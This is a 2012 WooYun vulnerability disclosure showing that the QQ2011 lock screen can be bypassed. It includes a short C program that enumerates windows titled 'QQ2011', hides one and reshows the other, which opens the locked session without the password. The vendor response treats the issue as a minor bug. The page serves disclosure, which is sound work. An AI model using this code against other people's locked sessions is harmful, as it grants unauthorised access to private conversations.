当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-04505

漏洞标题:QQ锁定功能形同虚设

相关厂商:腾讯

漏洞作者: 代码疯子

提交时间:2012-02-14 17:15

修复时间:2012-02-15 09:04

公开时间:2012-02-15 09:04

漏洞类型:非授权访问/认证绕过

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-02-14: 细节已通知厂商并且等待厂商处理中
2012-02-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

QQ锁定功能形同虚设,密码验证可绕过。

详细说明:

测试版本:QQ2011正式版(2432),其他版本未经测试,请自行测试,thx
P.S.
非原创,参考自http://hi.baidu.com/rootsule/blog/item/fe6ebc042726730f738b6538.html

漏洞证明:

// 声明: 非原创
// 自己编译
// From: http://hi.baidu.com/rootsule/blog/item/fe6ebc042726730f738b6538.html
#include <stdio.h>
#include <windows.h>
#define szTenTitle TEXT("QQ2011")
BOOL CALLBACK WindowsProc(HWND hwnd,LPARAM lParam);
int main(int argc, char** argv)
{
EnumWindows(WindowsProc,0);
return 0;
}
BOOL CALLBACK WindowsProc(HWND hwnd,LPARAM lParam)
{
TCHAR szWinTitle[MAX_PATH] = {0};
static ULONG ulCount = 0;
GetWindowText(hwnd, szWinTitle, MAX_PATH);
if (lstrcmp(szTenTitle, szWinTitle) == 0)
{
ulCount++;
if (ulCount == 1)
ShowWindow(hwnd, SW_HIDE);
else if (ulCount == 2)
ShowWindow(hwnd, SW_SHOW);
}
return TRUE;
}


登录QQ2011后,按Ctrl + Alt + L锁定QQ,然后运行上述代码编译后的程序,可以绕过密码验证进入正常QQ窗体。

修复方案:

你们更懂

版权声明:转载请注明来源 代码疯子@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-02-15 09:04

厂商回复:

非常感谢你的报告,我们认为这是一个bug

最新状态:

暂无